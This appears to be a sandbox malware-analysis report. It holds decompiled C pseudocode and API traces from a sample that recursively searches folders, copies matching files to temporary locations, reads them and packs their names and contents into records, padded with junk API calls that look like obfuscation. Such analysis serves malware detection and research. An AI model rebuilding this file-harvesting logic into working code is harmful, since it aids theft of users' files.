Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

LocalAlloc.KERNEL32(00000040,00000208), ref: 0040856F
PathCombineW.SHLWAPI(00000000,?,0000002E), ref: 00408580
PathCombineW.SHLWAPI(00000000,00000000,idb), ref: 0040858D

Part of subcall function 00407471: LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000), ref: 00407489
Part of subcall function 00407471: FindFirstFileW.KERNEL32(00000000,?), ref: 004074B2
Part of subcall function 00407471: StrStrW.SHLWAPI(?), ref: 004074E2
Part of subcall function 00407471: LocalAlloc.KERNEL32(00000040,00000208), ref: 004074F7
Part of subcall function 00407471: PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00407506
Part of subcall function 00407471: LocalAlloc.KERNEL32(00000040,00000208), ref: 00407515
Part of subcall function 00407471: CopyFileW.KERNEL32(00000000,?,00000000), ref: 00407535
Part of subcall function 00407471: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00407552
Part of subcall function 00407471: GetFileSize.KERNEL32(00000000,00000000), ref: 0040755D
Part of subcall function 00407471: LocalAlloc.KERNEL32(00000040,00000208), ref: 0040756A
Part of subcall function 00407471: StrCpyW.SHLWAPI(00000000), ref: 00407577

LocalFree.KERNEL32(00000000), ref: 004085A5
FindNextFileW.KERNEL32(00000000,00000010), ref: 004085B9
FindClose.KERNEL32(00000000), ref: 004085C8

Part of subcall function 0041A6A3: RealDriveType.SHELL32(7A7F0824,00000000), ref: 0041A6B6
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C0
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C6
Part of subcall function 0041A6A3: RealDriveType.SHELL32(CDF102A7,00000000), ref: 0041A6CF
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2E27FAE8,00000000), ref: 0041A6D8
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6DE
Part of subcall function 0041A6A3: RealDriveType.SHELL32(C5D8D0FC,00000000), ref: 0041A6E7
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6ED
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F3
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F9
Part of subcall function 0041A6A3: RealDriveType.SHELL32(D56F96D9,00000000), ref: 0041A702
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A708
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A70E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A714
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A71A
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A720
Part of subcall function 0041A6A3: RealDriveType.SHELL32(E8EAE2BB,00000000), ref: 0041A729
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A72F
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2E9A5212,00000000), ref: 0041A738
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A73E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A744
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A74A
Part of subcall function 0041A6A3: RealDriveType.SHELL32(85C0647B,00000000), ref: 0041A753
Part of subcall function 0041A6A3: RealDriveType.SHELL32(D7A1C836,00000000), ref: 0041A75C
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A762
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A768
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DDF4774B,00000000), ref: 0041A771
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A777
Part of subcall function 0041A6A3: RealDriveType.SHELL32(EDDD8A7A,00000000), ref: 0041A780
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A786
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DB06937F,00000000), ref: 0041A78F

LocalFree.KERNEL32(00000000), ref: 004085D5
CloseHandle.KERNEL32(00000000), ref: 004085DC
DeleteFileW.KERNEL32(?), ref: 004085E5
LocalFree.KERNEL32(00000000), ref: 004085EE
DeleteFileW.KERNEL32(?), ref: 004085F7
LocalFree.KERNEL32(?), ref: 00408600

Strings

tx@, xrefs: 004085D1, 004085DB
idb, xrefs: 00408586
., xrefs: 004084BD

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$AllocFile$lstrlen$Combine$FindFree$CloseCopyCreateDeleteFirstSize$HandleNextRead
String ID: .$idb$tx@
API String ID: 3064088266-1378683887
Opcode ID: f175b38b6fdffd3297251af77dca79ab75b263e2b7de55e17ad16cf025143013
Instruction ID: fa3286d001d8b747f55f5c7b5d7fc48c2f668edb15572fa65fe8ca0b47b5a053
Opcode Fuzzy Hash: f175b38b6fdffd3297251af77dca79ab75b263e2b7de55e17ad16cf025143013
Instruction Fuzzy Hash: 80714171B00214BBDB215FA0DC4DAAF7B79EF48706F404469FA05A2294DB7D9F428B6C

Uniqueness

Uniqueness Score: -1.00%

Function 0040609F Relevance: 52.7, APIs: 28, Strings: 2, Instructions: 215
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040609F(WCHAR* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, char _a20) {
				short _v556;
				struct _WIN32_FIND_DATAW _v604;
				struct _WIN32_FIND_DATAW _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				void* _v632;
				void* _v636;
				void* _v640;
				int _v644;
				void* _v648;
				WCHAR* _v652;
				void* _v656;
				void* _v660;
				short* _v664;
				void* _v668;
				void* __ebx;
				void* __esi;
				int _t80;
				int _t81;
				void* _t83;
				int _t90;
				int _t91;
				char* _t96;
				int _t97;
				int _t104;
				void* _t112;
				WCHAR* _t113;
				int _t127;
				void* _t141;
				WCHAR* _t147;
				void* _t148;
				void* _t150;
				signed int _t152;
				void* _t154;

				_t154 = (_t152 & 0xfffffff8) - 0x28c;
				_v636 = __edx;
				_t147 = __ecx;
				_t112 = StrCpyW(LocalAlloc(0x40, 0x20a), _t147);
				_v620 = _t112;
				E00401C8D(_t112, _t112, 0x104, _t147,  *0x4231cc);
				_t141 = FindFirstFileW(_t112,  &_v604);
				_v628 = _t141;
				if(_t141 != 0xffffffff) {
					_t113 = _t147;
					do {
						__eflags = _v612.ftLastAccessTime & 0x00000010;
						if(__eflags == 0) {
							_t148 = PathCombineW(LocalAlloc(0x40, 0x410), _t113,  &_v556);
							_v636 = _t148;
							_v664 = E0041AD76(StrCpyW(LocalAlloc(0x40, 0x20a),  *0x4231b0), _a4, __eflags);
							_v660 = LocalAlloc(0x40, 0x618);
							__eflags = E004187BE(_t148 + lstrlenW(_v652) * 2,  &_v660, 0);
							if(__eflags != 0) {
								_v664 = E0041AD76(_v664, _v660, __eflags);
								_v668 = LocalAlloc(0x40, 0x20a);
								_t90 = E0041C37E(_t148,  &_v668, __eflags);
								__eflags = _t90;
								if(_t90 != 0) {
									_t91 = CopyFileW(_t148, _v668, 0);
									__eflags = _t91;
									if(_t91 != 0) {
										_v656 = CreateFileW(_v668, 0x80000000, 1, 0, 4, 0, 0);
										_v644 = WideCharToMultiByte(0xfde9, 0, _v664, 0xffffffff, 0, 0, 0, 0);
										_t96 = LocalAlloc(0x40, 0x30c);
										_t127 = _v644;
										_v648 = _t96;
										__eflags = _t127;
										if(_t127 != 0) {
											_t97 = WideCharToMultiByte(0xfde9, 0, _v664, 0xffffffff, _t96, _t127, 0, 0);
											__eflags = _t97;
											if(_t97 == 0) {
												L14:
												LocalFree(_v648);
												CloseHandle(_v656);
												DeleteFileW(_v668);
												LocalFree(_v668);
											} else {
												_t104 = E0041D123( &(_v612.cFileName), _a8);
												__eflags = _t104;
												if(_t104 == 0) {
													goto L14;
												} else {
													_t44 =  &_a20; // 0x41576c
													_t129 =  *_t44;
													_v616 = _v616 & 0x00000000;
													_v628 = _v648;
													_v624 = _v656;
													_v620 = _v668;
													 *_t129 =  *( *_t44) + 1;
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													_t148 = _v640;
													_t141 = _v636;
												}
											}
										}
									}
								}
							}
							LocalFree(_t148);
							LocalFree(_v664);
							LocalFree(_v660);
							goto L16;
						} else {
							__eflags = _v556 - 0x2e;
							if(_v556 != 0x2e) {
								_t81 = E0041D123( &_v556, _a12);
								__eflags = _t81;
								if(_t81 == 0) {
									_t83 = PathCombineW(LocalAlloc(0x40, 0x410), _t113,  &_v556);
									_t12 =  &_a20; // 0x41576c
									_t150 = _t83;
									E0040609F(_t150, _v648, _a4, _a8, _a12, _a16,  *_t12);
									_t154 = _t154 + 0x14;
									LocalFree(_t150);
									L16:
								}
							}
						}
						_t80 = FindNextFileW(_t141,  &_v612);
						__eflags = _t80;
					} while (_t80 != 0);
					LocalFree(_v632);
					FindClose(_t141);
				} else {
					LocalFree(_t112);
				}
				return 0;
			}

0x004060a5
0x004060b5
0x004060b9
0x004060cf
0x004060d8
0x004060dc
0x004060ed
0x004060ef
0x004060f6
0x00406104
0x00406106
0x00406106
0x0040610b
0x0040618b
0x0040618f
0x004061b7
0x004061c7
0x004061de
0x004061e0
0x004061fa
0x00406208
0x0040620e
0x00406213
0x00406215
0x00406222
0x00406228
0x0040622a
0x00406248
0x0040626b
0x0040626f
0x00406275
0x00406279
0x0040627d
0x0040627f
0x00406297
0x0040629d
0x0040629f
0x004062f0
0x004062f5
0x00406300
0x0040630a
0x00406314
0x004062a1
0x004062a8
0x004062ad
0x004062af
0x00000000
0x004062b1
0x004062b9
0x004062b9
0x004062bc
0x004062c1
0x004062c9
0x004062d1
0x004062e0
0x004062e2
0x004062e3
0x004062e4
0x004062e5
0x004062e6
0x004062ea
0x004062ea
0x004062af
0x0040629f
0x0040627f
0x0040622a
0x00406215
0x0040631b
0x00406325
0x0040632f
0x00000000
0x0040610d
0x0040610d
0x00406113
0x00406120
0x00406125
0x00406127
0x00406141
0x00406147
0x0040614e
0x0040615e
0x00406163
0x0040632f
0x0040632f
0x0040632f
0x00406127
0x00406113
0x0040633b
0x00406341
0x00406341
0x0040634e
0x00406355
0x004060f8
0x004060f9
0x004060f9
0x00406363

APIs

LocalAlloc.KERNEL32(00000040,0000020A,-00000002,00000000,00000000), ref: 004060BB
StrCpyW.SHLWAPI(00000000,00000000), ref: 004060C3
FindFirstFileW.KERNEL32(00000000,?), ref: 004060E7
LocalFree.KERNEL32(00000000), ref: 004060F9
LocalAlloc.KERNEL32(00000040,00000410), ref: 00406134
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 00406141
LocalFree.KERNEL32(?), ref: 0040632F
FindNextFileW.KERNEL32(00000000,?), ref: 0040633B
LocalFree.KERNEL32(?), ref: 0040634E
FindClose.KERNEL32(00000000), ref: 00406355

Strings

lWA, xrefs: 004062B9, 00406147
., xrefs: 0040610D

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$FindFree$AllocFile$CloseCombineFirstNextPath
String ID: .$lWA
API String ID: 3406112052-577754816
Opcode ID: 0755dd086ab0e8a9dc48cc918e047ef5e7253649d4f79197da587dcc88da65a1
Instruction ID: 6bd11296ad696acc14c56bc581211b256321aac209bc594f07e955f2b14c3a50
Opcode Fuzzy Hash: 0755dd086ab0e8a9dc48cc918e047ef5e7253649d4f79197da587dcc88da65a1
Instruction Fuzzy Hash: 9A719F71604301AFD7109F60CC48A6B7BF9FF88716F40092DFA46972E0D779CA168B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041479A Relevance: 52.7, APIs: 28, Strings: 2, Instructions: 213
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041479A(void* __ecx, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, WCHAR* _a20, intOrPtr _a24, char _a28) {
				short _v556;
				struct _WIN32_FIND_DATAW _v604;
				struct _WIN32_FIND_DATAW _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				void* _v632;
				void* _v636;
				void* _v640;
				int _v644;
				void* _v652;
				void* _v656;
				void* _v660;
				short* _v664;
				void* _v668;
				void* __ebx;
				void* __esi;
				int _t83;
				int _t84;
				int _t93;
				int _t94;
				char* _t99;
				int _t100;
				int _t107;
				void* _t115;
				intOrPtr* _t116;
				int _t130;
				void* _t141;
				void* _t146;
				void* _t147;
				void* _t149;

				_push(_t146);
				_v632 = __ecx;
				_t115 = StrCpyW(LocalAlloc(0x40, 0x20a), _a4);
				_v620 = _t115;
				E00401C8D(_t115, _t115, 0x104, _t146,  *0x4231cc);
				_t141 = FindFirstFileW(_t115,  &_v604);
				_v628 = _t141;
				if(_t141 != 0xffffffff) {
					_t6 =  &_a28; // 0x414673
					_t116 =  *_t6;
					do {
						__eflags = _v612.ftLastAccessTime & 0x00000010;
						if(__eflags == 0) {
							_t147 = PathCombineW(LocalAlloc(0x40, 0x410), _a4,  &_v556);
							_v636 = _t147;
							_v664 = E0041AD76(StrCpyW(LocalAlloc(0x40, 0x20a),  *0x4231b0), _a12, __eflags);
							_v660 = LocalAlloc(0x40, 0x618);
							__eflags = E004187BE(_t147 + lstrlenW(_a8) * 2,  &_v660, 0);
							if(__eflags != 0) {
								_v664 = E0041AD76(_v664, _v660, __eflags);
								_v668 = LocalAlloc(0x40, 0x20a);
								_t93 = E0041C37E(_t147,  &_v668, __eflags);
								__eflags = _t93;
								if(_t93 != 0) {
									_t94 = CopyFileW(_t147, _v668, 0);
									__eflags = _t94;
									if(_t94 != 0) {
										_v652 = CreateFileW(_v668, 0x80000000, 1, 0, 4, 0, 0);
										_v644 = WideCharToMultiByte(0xfde9, 0, _v664, 0xffffffff, 0, 0, 0, 0);
										_t99 = LocalAlloc(0x40, 0x30c);
										_t130 = _v644;
										_v656 = _t99;
										__eflags = _t130;
										if(_t130 != 0) {
											_t100 = WideCharToMultiByte(0xfde9, 0, _v664, 0xffffffff, _t99, _t130, 0, 0);
											__eflags = _t100;
											if(_t100 == 0) {
												L14:
												LocalFree(_v656);
												CloseHandle(_v652);
												DeleteFileW(_v668);
												LocalFree(_v668);
											} else {
												_t107 = E0041D123( &(_v612.cFileName), _a16);
												__eflags = _t107;
												if(_t107 == 0) {
													goto L14;
												} else {
													_v616 = _v616 & 0x00000000;
													_v628 = _v656;
													_v624 = _v652;
													_v620 = _v668;
													 *_t116 =  *_t116 + 1;
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													_t147 = _v640;
													_t141 = _v636;
												}
											}
										}
									}
								}
							}
							LocalFree(_t147);
							LocalFree(_v664);
							LocalFree(_v660);
							goto L16;
						} else {
							__eflags = _v556 - 0x2e;
							if(_v556 != 0x2e) {
								_t84 = E0041D123( &_v556, _a20);
								__eflags = _t84;
								if(_t84 == 0) {
									_t149 = PathCombineW(LocalAlloc(0x40, 0x410), _a4,  &_v556);
									E0041479A(_v644, _t149, _a8, _a12, _a16, _a20, _a24, _t116);
									LocalFree(_t149);
									L16:
								}
							}
						}
						_t83 = FindNextFileW(_t141,  &_v612);
						__eflags = _t83;
					} while (_t83 != 0);
					LocalFree(_v632);
					FindClose(_t141);
				} else {
					LocalFree(_t115);
				}
				return 0;
			}

0x004147a7
0x004147b0
0x004147ca
0x004147d3
0x004147d7
0x004147e8
0x004147ea
0x004147f1
0x004147ff
0x004147ff
0x00414802
0x00414802
0x00414807
0x00414888
0x0041488c
0x004148b4
0x004148c3
0x004148da
0x004148dc
0x004148f6
0x00414904
0x0041490a
0x0041490f
0x00414911
0x0041491e
0x00414924
0x00414926
0x00414944
0x00414967
0x0041496b
0x00414971
0x00414975
0x00414979
0x0041497b
0x00414993
0x00414999
0x0041499b
0x004149e9
0x004149ee
0x004149f9
0x00414a03
0x00414a0d
0x0041499d
0x004149a4
0x004149a9
0x004149ab
0x00000000
0x004149ad
0x004149b5
0x004149ba
0x004149c2
0x004149ca
0x004149d9
0x004149db
0x004149dc
0x004149dd
0x004149de
0x004149df
0x004149e3
0x004149e3
0x004149ab
0x0041499b
0x0041497b
0x00414926
0x00414911
0x00414a14
0x00414a1e
0x00414a28
0x00000000
0x00414809
0x00414809
0x0041480f
0x0041481c
0x00414821
0x00414823
0x00414849
0x0041485c
0x00414a28
0x00414a28
0x00414a28
0x00414823
0x0041480f
0x00414a34
0x00414a3a
0x00414a3a
0x00414a47
0x00414a4e
0x004147f3
0x004147f4
0x004147f4
0x00414a5c

APIs

LocalAlloc.KERNEL32(00000040,0000020A,-00000002,00000000,00000000), ref: 004147B4
StrCpyW.SHLWAPI(00000000,00000000), ref: 004147BE
FindFirstFileW.KERNEL32(00000000,?), ref: 004147E2
LocalFree.KERNEL32(00000000), ref: 004147F4
LocalAlloc.KERNEL32(00000040,00000410), ref: 00414830
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 0041483F
LocalFree.KERNEL32(?), ref: 00414A28
FindNextFileW.KERNEL32(00000000,?), ref: 00414A34
LocalFree.KERNEL32(?), ref: 00414A47
FindClose.KERNEL32(00000000), ref: 00414A4E

Strings

., xrefs: 00414809
sFA, xrefs: 004147FF, 0041484B

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$FindFree$AllocFile$CloseCombineFirstNextPath
String ID: .$sFA
API String ID: 3406112052-1724649885
Opcode ID: e5edc1fca0b97167c7a89a45ba7509bfba08864d34cc1a4de46f03d252accb60
Instruction ID: 66e05b406f11d6a39ce45aa647558aaeef047f0cc00283868965eeafdd4a3567
Opcode Fuzzy Hash: e5edc1fca0b97167c7a89a45ba7509bfba08864d34cc1a4de46f03d252accb60
Instruction Fuzzy Hash: 3F719171604301AFDB209F60DC49E6F7BB5FF88702F004929FA55962A0D739CA46CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00403D76 Relevance: 46.7, APIs: 31, Instructions: 207
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00403D76(WCHAR* __ecx, WCHAR* __edx, void* __eflags, WCHAR* _a4, WCHAR* _a8, void* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				short* _v16;
				void* _v20;
				WCHAR* _v24;
				int _v28;
				void* _v32;
				void* _v36;
				WCHAR* _v40;
				signed int _v44;
				WCHAR* _v48;
				void* _v52;
				void* _v56;
				struct _WIN32_FIND_DATAW _v652;
				WCHAR* _t49;
				int _t57;
				int _t66;
				void* _t67;
				WCHAR* _t70;
				WCHAR* _t71;
				WCHAR* _t73;
				WCHAR* _t75;
				WCHAR* _t77;
				short* _t79;
				int _t80;
				int _t83;
				WCHAR* _t96;
				WCHAR* _t99;
				void* _t100;
				WCHAR* _t120;
				WCHAR* _t122;
				WCHAR* _t123;
				WCHAR* _t125;
				WCHAR* _t127;
				WCHAR* _t129;
				void* _t131;
				WCHAR* _t135;
				int _t136;
				void* _t137;
				void* _t139;

				_t139 = __eflags;
				_t99 = __ecx;
				_v24 = __edx;
				_v40 = __ecx;
				_t49 = E0041AD76(LocalAlloc(0x40, 0x208), _t99, _t139);
				_t120 =  *0x4231cc; // 0x513baf8
				_t135 = E0041AD76(_t49, _t120, _t139);
				_v20 = _t135;
				_t131 = FindFirstFileW(_t135,  &_v652);
				_v36 = _t131;
				if(_t131 != 0xffffffff) {
					_t136 = 0;
					do {
						if((_v652.dwFileAttributes & 0x00000010) != 0) {
							goto L11;
						} else {
							_t57 = lstrcmpW( &(_v652.cFileName),  *0x4231c8);
							_t143 = _t57;
							if(_t57 == 0) {
								goto L11;
							} else {
								_t100 = PathCombineW(LocalAlloc(0x40, 0x208), _t99,  &(_v652.cFileName));
								_v8 = LocalAlloc(0x40, 0x208);
								if(E0041C37E(_t100,  &_v8, _t143) == 0) {
									L16:
									LocalFree(_v8);
									LocalFree(_t100);
									DeleteFileW(_v8);
								} else {
									_t66 = CopyFileW(_t100, _v8, _t136);
									_t145 = _t66;
									if(_t66 == 0) {
										goto L16;
									} else {
										_t67 = CreateFileW(_v8, 0x80000000, 1, _t136, 4, _t136, _t136);
										_v32 = _t67;
										GetFileSize(_t67, _t136);
										_t70 = StrCpyW(LocalAlloc(0x40, 0x208),  *0x4231b0);
										_t122 =  *0x423254; // 0x513d438
										_t71 = E0041AD76(_t70, _t122, _t145);
										_t123 =  *0x4231b0; // 0x513bc78
										_t73 = E0041AD76(E0041AD76(_t71, _t123, _t145), _v24, _t145);
										_t125 =  *0x4231fc; // 0x513bb98
										_t75 = E0041AD76(E0041AD76(_t73, _t125, _t145), _a4, _t145);
										_t127 =  *0x4231fc; // 0x513bb98
										_t77 = E0041AD76(E0041AD76(_t75, _t127, _t145), _a8, _t145);
										_t129 =  *0x4231b0; // 0x513bc78
										_t79 = E0041AD76(E0041AD76(_t77, _t129, _t145),  &(_v652.cFileName), _t145);
										_v16 = _t79;
										_t80 = WideCharToMultiByte(0xfde9, _t136, _t79, 0xffffffff, _t136, _t136, _t136, _t136);
										_v28 = _t80;
										_t22 = _t80 + 0x40; // 0x40
										_t137 = LocalAlloc(0x40, _t22);
										_v12 = LocalAlloc(0x40, 0x20a);
										_t83 = _v28;
										if(_t83 == 0) {
											LocalFree(_t137);
											LocalFree(_v12);
											goto L10;
										} else {
											if(WideCharToMultiByte(0xfde9, 0, _v16, 0xffffffff, _t137, _t83, 0, 0) == 0) {
												LocalFree(_v16);
												LocalFree(_t137);
												LocalFree(_v8);
												LocalFree(_t100);
												LocalFree(_v12);
												break;
											} else {
												_v56 = _t137;
												_v52 = _v32;
												_t96 = StrCpyW(_v12, _v8);
												_t117 = _a16;
												_v44 = _v44 & 0x00000000;
												_v48 = _t96;
												 *_t117 =  *_a16 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t131 = _v36;
												L10:
												LocalFree(_v8);
												LocalFree(_t100);
												_t99 = _v40;
												_t136 = 0;
												goto L11;
											}
										}
									}
								}
							}
						}
						L13:
						LocalFree(_v20);
						goto L14;
						L11:
					} while (FindNextFileW(_t131,  &_v652) != 0);
					FindClose(_t131);
					goto L13;
				}
